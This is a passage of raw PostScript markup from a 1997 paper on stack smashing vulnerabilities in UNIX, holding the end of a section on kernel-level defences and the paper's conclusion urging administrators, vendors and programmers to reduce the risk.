(u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.107 0 (stacks: one for call frames, and one for automatic storage.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3336 M -2.300 0 (I)A 1.000 0 32 (n )W -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A 1.000 0 32 (on, b)W 4.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 1.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on )W -0.300 0 (fr)A (o)S 0.800 0 32 0.200 0 (m t)D (h)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 2.000 0 32 (, on)W 2.400 0 32 -0.400 0 (e ca)D 2.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A 0.200 0 (m)A (p)S 1.800 0 32 0.200 0 (t t)D (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3513 M 0.100 0 (s)A 0.200 0 (t)A 40.000 0 32 (op )W 0.200 0 (t)A (h)S 40.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 40.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 41.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 39.800 0 32 0.200 0 (m )D -0.400 0 (a)A 39.800 0 32 0.200 0 (t t)D (h)S 40.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A 40.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 40.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 40.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 41.000 0 32 (h )W 0.100 0 (s)A (u)S -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 40.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3690 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 8.000 0 32 (on b)W -0.400 0 (eca)A (u)S 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 8.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 8.000 0 32 (d )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3867 M (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 3.800 0 32 0.200 0 (m )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 3.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (li)A (n)S 5.000 0 32 -1.000 0 (g )D (b)S -0.400 0 (e)A (h)S -0.400 0 (a)A (v)S 0.200 0 (i)A (o)S 4.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A 4.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A 7.000 0 32 -3.000 0 (y )D (b)S 5.400 0 32 -0.400 0 (e )D (unp)S -0.300 0 (r)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 5.000 0 32 (. )W -2.300 0 (I)A 5.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4044 M 0.200 0 (t)A 28.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 28.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A 0.100 0 (s)A 28.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 28.000 0 32 (h )W 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D (no)S 27.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (ov)S -0.400 0 (e)A 28.000 0 32 (n )W 0.200 0 (t)A 28.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A 28.000 0 32 (op )W 0.200 0 (m)A (o)S -0.300 0 (r)A 28.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (oph)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 29.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 29.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M 0.144 0 (exploits.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_150) cvn F2 150 xF F2_150 Ji 612 4400 M 0.140 0 (12. Conclusion)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4662 M 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 5.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 6.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 6.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A (onp)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (ace )D 6.000 0 32 (on )W -0.200 0 (UN)A -2.300 0 (I)A 6.200 0 32 -0.200 0 (X )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4839 M 0.200 0 (m)A -0.400 0 (ea)A (n)S 32.900 0 32 0.100 0 (s )D 0.200 0 (t)A 33.000 0 32 (o )W -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 33.000 0 32 (n )W -0.400 0 (acce)A 32.900 0 32 0.100 0 (ss )D 0.200 0 (t)A 33.000 0 32 (o p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 33.000 0 32 (d )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A 0.100 0 (s)A 33.000 0 32 (. )W 34.000 0 32 ( )W -0.700 0 (B)A 37.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 35.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 34.000 0 32 (d op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 33.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5016 M -0.400 0 (c)A (ond)S 0.200 0 (iti)A (on)S 6.900 0 32 0.100 0 (s )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (X )D -0.400 0 (a)A 7.000 0 32 (nd )W 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 7.000 0 32 (, b)W -0.400 0 (a)A 0.100 0 (s)A -0.400 0 (e)A 7.000 0 32 (d on )W 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S -3.000 0 (y)A 7.000 0 32 (, on)W 8.400 0 32 -0.400 0 (e ca)D 8.000 0 32 (n )W 0.100 0 (s)A 8.400 0 32 -0.400 0 (ee )D (ho)S -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5193 M -0.400 0 (a)A 1.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D -0.400 0 (ca)A 1.000 0 32 (n ob)W 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 1.000 0 32 (n p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 2.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5370 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 5.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 4.800 0 32 0.200 0 (t i)D 5.000 0 32 (n )W 0.200 0 (t)A (od)S -0.400 0 (a)A -3.000 0 (y)A -0.300 0 (\222)A 4.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 5.000 0 32 (d )W -0.200 0 (UN)A -2.300 0 (I)A 5.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A (on)S 4.900 0 32 0.100 0 (s )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S -0.400 0 (e)A 5.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (ac)A 0.200 0 (t)A ; LH savelevel1 restore pagesave restore (%%[ Page: 30 ]%%) = %%PageTrailer %%Page: 31 31 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (31)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.200 0 (t)A (h)S -0.400 0 (a)A 21.800 0 32 0.200 0 (t )D -0.400 0 (a)A 22.000 0 32 (n ov)W -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 22.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 21.800 0 32 0.200 0 (it )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 23.000 0 32 (d b)W 23.400 0 32 -0.400 0 (e c)D (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (e)A 23.000 0 32 (d )W -0.300 0 (f)A (o)S 23.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (n)S 26.000 0 32 -3.000 0 (y )D (on)S 23.400 0 32 -0.400 0 (e )D (o)S 23.300 0 32 -0.300 0 (r )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 23.300 0 32 -0.300 0 (r )D (o)S 23.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 23.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.338 0 (systems.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 858 M -2.300 0 (I)A 2.000 0 32 (n )W 0.100 0 (s)A (p)S 0.200 0 (it)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 2.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (a)A 0.200 0 (l)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 3.000 0 32 (, )W 3.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A 2.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 3.000 0 32 (n b)W 3.400 0 32 -0.400 0 (e )D (don)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 3.000 0 32 (o p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 2.800 0 32 0.200 0 (t m)D (o)S 0.100 0 (s)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 33.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 34.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 33.000 0 32 (. )W -0.200 0 (A)A 32.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 33.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (e)A 32.800 0 32 0.200 0 (l )D (o)S 33.300 0 32 -0.300 0 (f )D -0.400 0 (a)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (e)A 32.900 0 32 0.100 0 (ss )D (o)S 34.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 34.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 35.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.200 0 (i)A (n)S -0.400 0 (c)A -0.300 0 (r)A -0.400 0 (ea)A 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A 7.000 0 32 (, )W -0.200 0 (UN)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (X )D (v)S -0.400 0 (e)A (ndo)S -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (, p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (, )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 6.800 0 32 0.200 0 (m )D -0.400 0 (a)A (d)S 0.200 0 (mi)A (n)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A (o)S -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 7.000 0 32 (nd u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 7.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (li)A (k)S -0.400 0 (e)A 8.000 0 32 (, )W -0.400 0 (a)A -0.300 0 (r)A 8.400 0 32 -0.400 0 (e e)D (du)S -0.400 0 (ca)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.400 0 (eac)A 3.000 0 32 (h o)W 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 3.000 0 32 (. )W 0.400 0 (S)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (a)A (d)S 0.200 0 (mi)A (n)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A (o)S -0.300 0 (r)A 2.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 3.000 0 32 (n )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 2.800 0 32 0.200 0 (t )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A (ou)S 3.900 0 32 0.100 0 (s )D -0.400 0 (c)A (on)S -0.300 0 (f)A 0.200 0 (i)A -1.000 0 (g)A (u)S -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A 4.000 0 32 (on )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (hod)S 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (l)A (o)S -0.200 0 (w)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D (o)S 17.300 0 32 -0.300 0 (f )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 17.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 18.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 20.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 17.000 0 32 (. )W -0.200 0 (UN)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (X )D (v)S -0.400 0 (e)A (ndo)S -0.300 0 (r)A 16.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 17.000 0 32 (n do)W 18.000 0 32 ( )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 18.300 0 32 -0.300 0 (r )D (p)S -0.400 0 (a)A -0.300 0 (r)A 17.800 0 32 0.200 0 (t )D (b)S -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M 0.200 0 (m)A -0.400 0 (a)A (k)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D 0.400 0 32 -0.400 0 (a c)D (o)S 0.200 0 (mmitm)A -0.400 0 (e)A (n)S -0.200 0 32 0.200 0 (t t)D (o b)S 0.400 0 32 -0.400 0 (e )D (v)S -0.400 0 (e)A -0.300 0 (r)A 3.000 0 32 -3.000 0 (y )D -0.400 0 (ca)A (u)S 0.200 0 (ti)A (ou)S 0.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 1.000 0 32 (h p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d b)W 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ll)A -0.400 0 (e)A 1.000 0 32 (d b)W 4.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 0.800 0 32 0.200 0 (lt )D 1.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 14.400 0 32 -0.400 0 (c )D -0.200 0 (UN)A -2.300 0 (I)A 14.200 0 32 -0.200 0 (X )D (d)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 14.000 0 32 (on. )W 15.000 0 32 ( )W -2.100 0 (L)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (tl)A 18.000 0 32 -3.000 0 (y )D (bu)S 14.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (r)A (h)S -0.400 0 (a)A (p)S 14.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 14.800 0 32 0.200 0 (t )D -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S 15.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (ti)A 15.000 0 32 (on )W -0.400 0 (ca)A 15.000 0 32 (n )W -0.400 0 (c)A (o)S 0.200 0 (m)A 15.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A (o)S 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 12.900 0 32 0.100 0 (s )D -0.200 0 (w)A 13.000 0 32 (ho )W -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (it)A 13.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 13.000 0 32 (d )W -0.400 0 (c)A (od)S -0.400 0 (e)A 13.000 0 32 (. )W -0.200 0 (A)A 13.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A (d)S 13.900 0 32 0.100 0 (s )D -0.400 0 (e)A (vo)S 0.200 0 (l)A (v)S 14.400 0 32 -0.400 0 (e a)D 14.000 0 32 (nd )W -0.400 0 (a)A -0.300 0 (r)A 14.400 0 32 -0.400 0 (e acce)D (p)S 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d )W -0.300 0 (f)A (o)S 14.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (od)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M 0.100 0 (s)A -0.400 0 (a)A -0.300 0 (f)A -0.400 0 (e)A 18.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 18.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 17.900 0 32 0.100 0 (s )D -0.400 0 (a)A 18.000 0 32 (nd )W -0.400 0 (c)A -0.300 0 (r)A -0.400 0 (ea)A 0.200 0 (ti)A (n)S 19.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (o)S -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 19.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A ; : 3469 2258 1414 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 3542 2258 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3610 2274 M 19.000 0 32 (, p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 18.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 